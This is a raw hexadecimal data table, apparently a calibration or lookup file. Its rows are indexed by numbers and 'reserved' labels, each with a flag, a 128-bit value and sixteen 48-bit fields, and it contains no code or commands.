11 1 03983502bd75a0f1cdd1179dc599bb85 84bc28fdba0c b61f375e988f 26b81c56d785 be0539ab9333 8ca32b4ab4b0 26b81c56d785 be0539ab9333 9c712fe4a9f9 0523261dc0bf b61f375e988f 9c712fe4a9f9 9c712fe4a9f9 ae3835119dea ae3835119dea 0523261dc0bf 948a2d97af55
11 1 e386b78ba8f59c269062282366aa1efd 0d71a33d10d5 aa3512f911fb 00429666111a 98a201da119e a4590d4411dc 00429666111a 859890b11139 00429666111a 98a201da119e 98a201da119e b1871a1b1222 b1871a1b1222 ca6d325c12a6 07959d8810f4 c31a2b3a127f d049381112c5
11 1 c3109d78f27e3cf0872579410fdde78e 1842547b3b7b 0ad461e91fbf 1324599930eb 1ad151ec40c4 084564781a77 0d635f5a2508 1e044eb9475e 15b3570a3633 885b751987df 20934c2b4ca7 82996f570403 82996f570403 0d635f5a2508 85cc728a8296 85cc728a8296 0ad461e91fbf
11 1 03000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
11 1 e3ffffffffffffffffffffffffffffff 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d 805d805d805d
12 0 4719bf7e97173176f49b3193b40bf322 4c5216233c1a 58e90fe44862 550511d24496 52f512d84294 4b2d16b43afc 4d3c15ae3cff 4d3c15ae3cff 52f512d84294 4e27153a3de3 550511d24496 550511d24496 4a4217283a18 4d3c15ae3cff 58e90fe44862 4c5216233c1a 4c5216233c1a
12 0 07e5075c8bf908672b6ebe426d2f4f46 6ad702595c28 6d30018b59d1 633304f763c2 69dc02af5d21 633304f763c2 65bf04186139 6d30018b59d1 6b9f02145b60 642e04a262c8 69dc02af5d21 626b053c6489 6d30018b59d1 626b053c6489 6b9f02145b60 69dc02af5d21 6b9f02145b60
12 0 0725049118dd6e2b2d1c3a38a1ab0e3b 4daa5a1e4481 4f295c56431f 4b7756db4689 4f995cfe42b7 4c2b57e645e3 4ecf5bd14372 4cf559134527 4ecf5bd14372 4f995cfe42b7 4c2b57e645e3 4bd157604636 4c2b57e645e3 4aac55ae4745 4ff35d834263 4bd157604636 4ecf5bd14372
12 0 878f0383b3b8154de52389f31c1312f4 438b20ed5a86 3841294661f5 42a921955b1c 438b20ed5a86 3d2025ac5ec0 3e0225045e2b 42a921955b1c 375e29ed628a 3a3f27cd60a5 44a7201b59cc 42a921955b1c 44a7201b59cc 438b20ed5a86 44a7201b59cc 41c6223c5bb1 375e29ed628a
12 0 2796cdd98ea6c5ea5361ee419c855a8d 0b89761572e8 0ee676cf7237 0b89761572e8 0fe377057202 169c787870a0 169c787870a0 0b89761572e8 0e1b76a37260 14d4781670fe 124277887186 0ee676cf7237 1178775c71af 134077bf7152 0ee676cf7237 159f784170d5 1178775c71af
12 0 e7dbdbf2abaa433a0cc366276aed86fd 285359522175 2c88589c1e9b 2a6e58f72008 24485a022434 285359522175 285359522175 27ad596e21e6 2b1358db1f98 259359ca2353 285359522175 23a25a1e24a4 22d35a412530 285359522175 2708598b2256 23a25a1e24a4 222d5a5d25a1
12 0 07000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
12 0 e7ffffffffffffffffffffffffffffff 7bf47bf47bf4 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8 7be87be87be8
12 1 2790511ac1a5c8da3a085661d5dafcbf 16fee5940e28 1435e69f0f4a 1b84e3e20c4f 0faee8521122 18bbe4ed0d71 16fee5940e28 1113e7cc1091 18bbe4ed0d71 16fee5940e28 22d4e1230954 1ea6e2b40b08 22d4e1230954 216fe1a909e6 25f6dff7080d 25f6dff7080d 200be22f0a77
12 1 67453d894c03fb16d40428501029b19e 450eaff74710 4e32b3734afa 46a5b09247be 4344af49464b 4a05b1dc4930 450eaff74710 4344af49464b 4771b0e04815 4344af49464b 440faf9746a2 4ad1b2294987 450eaff74710 440faf9746a2 4c9bb2d84a4c 4f30b3d44b67 4ad1b2294987
12 1 87f6bd8a558e4a02b1b7bb756a77c20a 72dbce2aa634 6e0ec6b2a5d9 6fcac965a5fa 6e0ec6b2a5d9 6e0ec6b2a5d9 6e0ec6b2a5d9 70b6cad4a60b 6fcac965a5fa 6e76c754a5e1 7033ca08a602 6fcac965a5fa 6fcac965a5fa 71f0ccbca623 6da5c60fa5d1 6e76c754a5e1 72dbce2aa634
12 1 e78483d81d0a717b7cae055d7f7be30d 8490e21d66bd 8600e306689a 90c9e9d67690 8aace5f96ea7 82c4e0fb6469 04c8dc365aa3 8efde8b3743d 82c4e0fb6469 9239eabe786d 8600e306689a 8c1ce6e27083 8600e306689a 001cdf2a60b0 90c9e9d67690 8efde8b3743d 04c8dc365aa3
12 1 272e57ad460aaafa44bc46ce904b1597 299c5022674a 26d34d78671f 1afd4225666a 1c61437a667f 23b14a7966ee 26d34d78671f 17db3f266639 1afd4225666a 2cbe53216779 1f83467a66af 1c61437a667f 26d34d78671f 256e4c23670a 2b5a51cc6764 224c492466d9 1f83467a66af
12 1 e7a766408e14e948d9dae05c3676bdb1 d0c4e9279685 c657f6628c18 c9a1f2348f62 c657f6628c18 d56ee33c9b2f c4f8f8208ab9 c770f4fd8d31 cfabea8c956c ce4cec49940d d1dce7c3979d ce4cec49940d cd33edae92f4 c657f6628c18 c889f3998e4a d455e4a19a16 c889f3998e4a
12 1 07000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
12 1 e7ffffffffffffffffffffffffffffff 803d803d803d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d 804d804d804d
13 0 6b31b4dfc2ca480e4ea472e570cb0c28 4b383a680b85 4aae39fa0b59 4aae39fa0b59 4bc33ad60bb1 4a5939b60b3e 4b383a680b85 4ad83a1c0b67 4c783b660beb 49f939690b20 4b383a680b85 4bed3af80bbf 4c183b1a0bcd 4c183b1a0bcd 49f939690b20 4b633a8a0b93 4a5939b60b3e
13 0 6b679c16a44d26a504fe8344e4fe6bc4 56ba47ac4e2a 570d47754dd9 54e448e14ff2 54c048f95016 569547c44e4d 55d448434f09 567047dd4e71 567047dd4e71 567047dd4e71 54e448e14ff2 54e448e14ff2 54c048f95016 555c48924f7e 561d48134ec2 567047dd4e71 553748aa4fa2
13 0 ab608b9ccb22086871d5aaa82b943a66 176a086e2d00 18ae095a2c52 184c09132c86 19bb0a1f2bc0 193a09c02c06 193a09c02c06 18d9097a2c3a 193a09c02c06 196509e02bef 17cb08b52ccc 182108f42c9d 190409992c23 193a09c02c06 17f608d42cb4 1883093b2c69 1883093b2c69
13 0 6ba60019822463ca99808fdb2d43a5b8 08686cbe6442 074b6cfe632f 094f6c8b6520 07826cf26364 05eb6d4d61db 07826cf26364 06d16d1a62ba 06656d326251 06656d326251 08d56ca664ab 089e6cb26476 08686cbe6442 08326ccb640e 07076d0d62ee 07826cf26364 06d16d1a62ba
13 0 2b8516af9a0c7e187cb6875e7cdf38ae 3dea6dae0afd 3db56da60b14 3dea6dae0afd 3cd56d850b77 3db56da60b14 3d816d9e0b2b 3c296d6c0bc2 3e2c6db70ae0 3ca06d7d0b8e 3db56da60b14 3bf46d640bda 3c6b6d760ba5 3d816d9e0b2b 3e966dc70ab1 3c296d6c0bc2 3d096d8d0b60
13 0 cb052921e4da656ec2d5658533352657 5e946f150fee 60a0701b0f21 5f526f740fa4 60cd70310f10 5f526f740fa4 5f8a6f900f8e 5f526f740fa4 5fe36fbc0f6b 5ef96f480fc7 5ef96f480fc7 5f526f740fa4 5ef96f480fc7 5f8a6f900f8e 5ecc6f310fd8 5fb66fa60f7d 5f526f740fa4
13 0 0b000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
13 0 ebffffffffffffffffffffffffffffff 7bfa7bfa7bfa 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4 7bf47bf47bf4
13 1 2b0c715b69ee4aef53a67f9dfa8ded8f f6596b0bb3af f72b6c71b43a f7686cdbb464 f83b6e40b4ef f93e6ffbb59d f79a6d2fb485 f8cf6f3db552 f7fd6dd7b4c7 f83b6e40b4ef f93e6ffbb59d f8cf6f3db552 f7cb6d83b4a6 f8cf6f3db552 f90d6fa6b57c f93e6ffbb59d f7cb6d83b4a6
13 1 2b1a5a0e55b33017bab63f4e31db8f45 4ccaf393281e 4f66f6992940 4d4af4272855 4f66f6992940 511af89429fd 4bfdf2a527c5 50b3f81d29d0 4c64f31c27f2 4b15f1982760 4bfdf2a527c5 4f66f6992940 5033f7872999 511af89429fd 4e18f51628af 4ccaf393281e 4c64f31c27f2
13 1 0bd0b66082241211b9999a5a46bc7f66 24fa145850fc 21cc113251f3 22c1122451a8 22c1122451a8 2239119d51d2 22c1122451a8 2239119d51d2 248e13ec511d 240613665145 24fa145850fc 216010c65214 21cc113251f3 1fff0f68527e 239a12fb5166 240613665145 240613665145
13 1 2be0cc4e41fce4957fa4feace520cc83 92e0a428b2b2 92e0a428b2b2 9166a4a3b339 9459a3aeb22b 9648a30db17a 96bca2e7b150 9542a362b1d8 9459a3aeb22b 91daa47db310 9648a30db17a 8f78a544b3eb 907da4efb38d 9542a362b1d8 9542a362b1d8 90f2a4c9b363 9354a402b288
13 1 ab9e0f74fab2380f7278f84b656558f3 4d39eadf1327 4f8f878c13e4 4fec07bb1401 4f8f878c13e4 4fec07bb1401 529d7a5514db 511639651460 4e64b9351386 4ec0a9ed13a3 4f3396d413c7 4ec0a9ed13a3 4f3396d413c7 4fec07bb1401 4ec0a9ed13a3 4e08c87d1369 529d7a5514db
13 1 cb54a21d4ea20bc7fabf633794dada44 2a87347ecef2 2d803847d395 2d803847d395 2c5336c8d1bf 29fa33cace15 2ae034efcf7c 2b273549cfeb 29fa33cace15 2a413424ce83 2bb535fed0c7 2c0d366ed151 2ce1377cd29c 2c0d366ed151 2ce1377cd29c 2a413424ce83 2a413424ce83
13 1 0b000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
13 1 ebffffffffffffffffffffffffffffff 801e801e801e 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026 802680268026
14 0 cf9b72f4638f22774cd1b4cb76061a92 3a8a424f3734 3a8b424f3734 3a8b424e3735 3a8a42503734 3a8b424f3734 3a8a42503734 3a8a42503734 3a8a42503734 3a8a424f3734 3a8a424f3734 3a8a424f3734 3a8b424e3735 3a8a42503734 3a8b424e3735 3a8b424f3735 3a8a424f3734
14 0 4f2fcdb4011321c629c9322cc3712f9d 312704a50df9 312704a60df9 312704a40df8 312704a30df8 312704a60df9 312704a50df9 312704a30df8 312704a60df9 312704a50df9 312704a30df8 312704a60df9 312704a40df8 312704a20df7 312704a60df9 312704a30df8 312704a40df8
14 0 cf610b8e57f3db527a0602bf3801aaaf 31e9573a2895 31e9573a2895 31e9573a2895 31ea573a2894 31ea573a2894 31ea573a2894 31e7573a2896 31e8573a2896 31e9573a2895 31ea573a2894 31ea573a2894 31ea573a2894 31e8573a2895 31e8573a2895 31e7573a2896 31e8573a2895
14 0 0ff230463c4a36297b2ffa54d5e7f73c 151a68cf5079 151b68cf5079 151d68cf5079 151a68ce5078 151c68cf5079 151d68cf5079 151a68cf5079 151a68cf5079 151a68cf5079 151c68cf5079 151b68cf5079 151d68cf5079 151b68cf5079 151d68cf5079 151c68cf5079 151a68ce5078
14 0 0f851bf05ca784cd51d54cebcc5f0dbb 36531f1a4cc2 36521f1b4cc1 36521f1b4cc1 36511f1c4cc0 36511f1c4cc0 36521f1b4cc1 36511f1c4cc0 36501f1d4cbf 36511f1c4cc0 36511f1c4cc0 36501f1d4cbf 36521f1b4cc1 36511f1c4cc0 36531f1a4cc2 36511f1c4cc0 36511f1c4cc0
14 0 6f0820d1556445ac7020163d1f18ce0c 07e0220752c8 07df220652c6 07e0220752c8 07df220652c7 07df220652c6 07e0220752c8 07de220552c4 07df220652c7 07dd220452c4 07e0220752c8 07df220552c6 07e0220752c8 07dd220452c4 07de220552c5 07de220552c5 07e0220752c8
14 0 0f000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
14 0 efffffffffffffffffffffffffffffff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff 7bff7bff7bff
14 1 af4c414be3c07228605bc7eeb0957b8a f9aede72db68 f9b0de70db68 f9b1de6edb68 f9afde70db68 f9b0de6fdb68 f9b1de6ddb68 f9b2de6cdb68 f9b2de6cdb68 f9aede72db68 f9b1de6edb68 f9afde70db68 f9b0de6edb68 f9b1de6edb68 f9b0de6fdb68 f9b1de6edb68 f9b0de6fdb68
14 1 4f6aa14737501798d887942209199542 0719ab5ab2ba 071cab5cb2ba 071aab5ab2ba 071aab5ab2ba 0719ab5ab2ba 071bab5bb2ba 0718ab59b2ba 0718ab59b2ba 071bab5bb2ba 0717ab58b2ba 071bab5bb2ba 0717ab58b2ba 0719ab5ab2ba 071bab5bb2ba 0718ab59b2ba 0719ab5ab2ba
14 1 0f0d596fbf57f16ea872a24e726bc203 8b391dbac9e7 8b361db8c9e8 8b3a1dbbc9e6 8b381db9c9e7 8b3a1dbbc9e6 8b361db8c9e8 8b341db6c9e9 8b391dbac9e7 8b3a1dbbc9e6 8b381db9c9e7 8b361db8c9e8 8b381dbac9e7 8b3a1dbbc9e6 8b351db7c9e8 8b3a1dbbc9e7 8b3b1dbcc9e6
14 1 6fcc6e37b0d0073e092082fe83f765bd f5cebb3a9b06 f5d0bb399b05 f5d0bb399b05 f5cfbb399b06 f5cfbb399b06 f5cdbb3a9b07 f5cabb3b9b09 f5cabb3b9b09 f5cfbb399b06 f5cdbb3a9b07 f5cdbb3a9b07 f5cabb3b9b09 f5cebb3a9b06 f5cebb3a9b07 f5cbbb3b9b08 f5ccbb3a9b08
14 1 0f11cbaac2b462c4e95bc38d350f580b e81eeed51c68 e823eed11c63 e822eed21c64 e81feed41c67 e81eeed51c68 e822eed21c64 e823eed21c63 e820eed31c66 e81feed41c67 e81eeed51c68 e824eed11c62 e81ceed61c6a e820eed31c66 e81feed41c67 e822eed21c64 e81ceed61c6a
14 1 cf30ad6326db44472f4aa329cefa56a0 6a1b45221676 6a1a45201677 6a1c45231676 6a1a45211676 6a1a45201677 6a1c45231676 6a1b45231676 6a1a45201677 6a1d45251675 6a1c45241675 6a1c45231676 6a1d45251675 6a1b45211676 6a1a45211676 6a19451f1677 6a1c45231676
14 1 0f000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
14 1 efffffffffffffffffffffffffffffff 800080008000 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001 800180018001
reserved-10011 0 f351b28e379ef3cc23974fa11ae4df33 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 0 136d3b2575b7f255ada473da3e079db7 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 0 738e7213274477d61d1288ffbad50f9d 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 0 53286139206ef3ad8dceeebe4d8a5e8f 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 0 b3672b029498bda7a4171ab3067700b2 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 0 13dee0deed18b2d04c440be48e712020 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 0 13000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 0 f3ffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 334b9a4d612c8f435384c7d34bdcdf2c 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 731ad86fe0c6571bac7901208b1d6211 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 73c7fe9ff7cf8cfefd1869d16c9286ab 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 733887ce778dea855219e2339f561dab 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 d3a34181b9c6f3c837ac3e662c1c0eb3 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 33e3ef5b9d235bdd1247a95d46ee5749 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 13000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10011 1 f3ffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 b7e1c82e010d600773774898d2f1dd53 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 f7ed84566d20896f394b75c4261f0c01 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 9724d37fd990b9919d90f5de8789a80c 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 7728dbdb91480829c667bcaeff7bc13f 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 17ab206a9b7cd3f895da02b0dc0c85c9 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 b7d5da7364a2528ffa357b90325e8481 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 17000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 0 f7ffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 d7642aa07f2eebb2431a378aef9961c2 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 b77c89a3d43e94836c10e90ab59a6f2c 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 97a43f042a1e8d895de78928890f80d1 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 576df55ec42f850f4040db46b0cfae02 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 7758c6643576e926f533604fa2d1fa39 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 77996f1d78b2075dcfe7bab71ae59cdd 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 17000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-10111 1 f7ffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 bbfbaab673450835f6f954e64b3ef165 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 bb33f23e11b54443763775f6f83fd552 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 fb2d49b386fcadb7509d353a7ecfa604 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 7babfdaef421280052611eb416267772 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 7b2d89d90ceb76c968fcb08a06c393a5 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 dba41c8d2d0b283afd0fe1fb6c6e6cb9 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 1b000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 0 fbffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 3b184617e7dfd7240f702fc183f37a5a 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 7bda84a6f91c1989aad47f10e2be1b39 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 1bf330718d597451452b016d3ac795dc 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 bb6d54956d076d18b1bf809d335e454f 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 1b96d95f746f8a0ef7ad8fc57fb4e2ab 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 7b758dd2449220bd382e73950a393ac2 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 1b000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11011 1 fbffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 df8ff83cf4500003054962a613d93b54 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 5fe853ef0ba6fb775778568e3a33dd9d 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 dffc945c8158f47286ef2d6dca151fb0 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 bf109d944fe398e8d7b4b83d468ea650 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 ff2173b367f78590be5b344185d78d37 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 1ff003040b5bf3b2369db6a47d09a9f0 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 1f000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 0 ffffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 1 7f970d19eefc041391f19d826eb79422 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 1 bf20a023685369cd0bbbda81cb11a99c 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 1 9fe9f522ed3df999af7ec51b14f818a4 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 1 5fb49d03bd442dc50b8cbaefb59339df 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 1 bfdd210cc4870122ace8a5ccaff19a97 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 1 5f92c889004afbd953188d19ef334ae6 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
